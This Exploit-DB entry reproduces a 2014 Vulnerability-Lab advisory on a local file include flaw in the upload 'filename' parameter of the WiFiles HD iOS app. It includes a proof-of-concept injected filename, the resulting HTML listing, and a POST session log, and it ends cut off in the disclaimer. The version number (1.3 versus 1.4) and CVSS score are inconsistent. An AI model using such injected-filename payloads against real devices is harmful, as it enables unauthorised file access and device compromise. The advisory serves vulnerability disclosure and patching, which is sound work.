Exploit-DB #31896
Description: WiFiles HD 1.3 iOS - Local File Inclusion
Type: webapps
Platform: ios
Date: 2014-02-25
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
WiFiles HD v1.3 iOS - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1214


Release Date:
=============
2014-02-22


Vulnerability Laboratory ID (VL-ID):
====================================
1214


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
WiFiles HD for iPad is an easy to use file storage/sharing app. Transfer files using wifi or iTunes File Transfer to & from your Mac/PC with ease.
Updated- transfer files in background now supported. Store movies, photos, music, and any other file you wish. In app filesharing supports opening 
files in supporting third party apps.

( Copy of the Homepage: https://itunes.apple.com/us/app/wifiles-hd/id436227200 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a local file include web vulnerability in the official Mr Burns - WiFiles HD v1.4 iOS mobile web-application. 


Vulnerability Disclosure Timeline:
==================================
2014-02-22:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: WiFiles HD - iOS Web Server & Web Application 1.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include vulnerability has been discovered in the official WiFiles HD v1.4 iOS mobile web-application. 
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests 
or system specific path commands to compromise the web-application/device.

The vulnerability is located in the upload module of the mobile web-application interface. Remote attackers can 
manipulate the `upload > submit` POST method request with the vulnerable `filename` value to compromise the application 
or connected device components. 

The issue allows remote attackers to include local app path values or wifi web-server files. The exploitation appears 
on the application-side and the inject request method is POST. The exection occurs in the main index file dir list. 
The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability 
scoring system) count of 7.0(+)|(-)7.1.

Exploitation of the local file include vulnerability requires no user interaction or privileged mobile application user account. 
Successful exploitation of the file include web vulnerability results in mobile application compromise, connected device compromise 
or web-server compromise.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Upload

Vulnerable Procedure(s):
				[+] Submit

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] File Dir Index Listing (http://localhost:8080)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the file include web vulnerability follow the provided information and steps below to continue.

PoC: Exploit - filename

<html><head><title>Files from WiFiles HD</title><style>html {background-color:#000000} body 
{ background-color:#96969b; font-family:Tahoma,Arial,Helvetica,sans-serif; font-size:18x; margin-left:15%; 
margin-right:15%; border:3px groove #006600; padding:15px; } </style></head><body><h1> WiFiles HD:</h1>
<bq>Please do not leave this page until transfers are complete.
Refresh the page before attempting to transfer files if you close the server in WiFiles HD.
</bq><p style="color:white"><a href="137.png">137.png</a>		
(   279.0 Kb, 2014-02-22 14:04:01 +0000)<br>
<a href="e4c167621c2e61.jpg">e4c167621c2e61.jpg</a>		
(    23.8 Kb, 2014-02-22 14:04:10 +0000)<br>
<a href="<iframe src=a>"><./<[LOCAL FILE INCLUDE VULNERABILITY!]>"></a>		
(    23.8 Kb, 2014-02-22 14:09:20 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label><input type="file" name="file" id="file" /></label>
<label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p></body></html>


--- PoC Session Logs [POST] ---

04:02:59.326[191ms][total 1633ms] Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[1056] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[----------------------------[PII_REDACTED]24824
Content-Disposition: form-data; name="file"; filename="./<[LOCAL FILE INCLUDE VULNERABILITY!]>"
Content-Type: image/jpeg


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode, parse and restriction of the vulnerable filename value in the upload POST method request.


Security Risk:
==============
The security risk of the local file include web vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in thi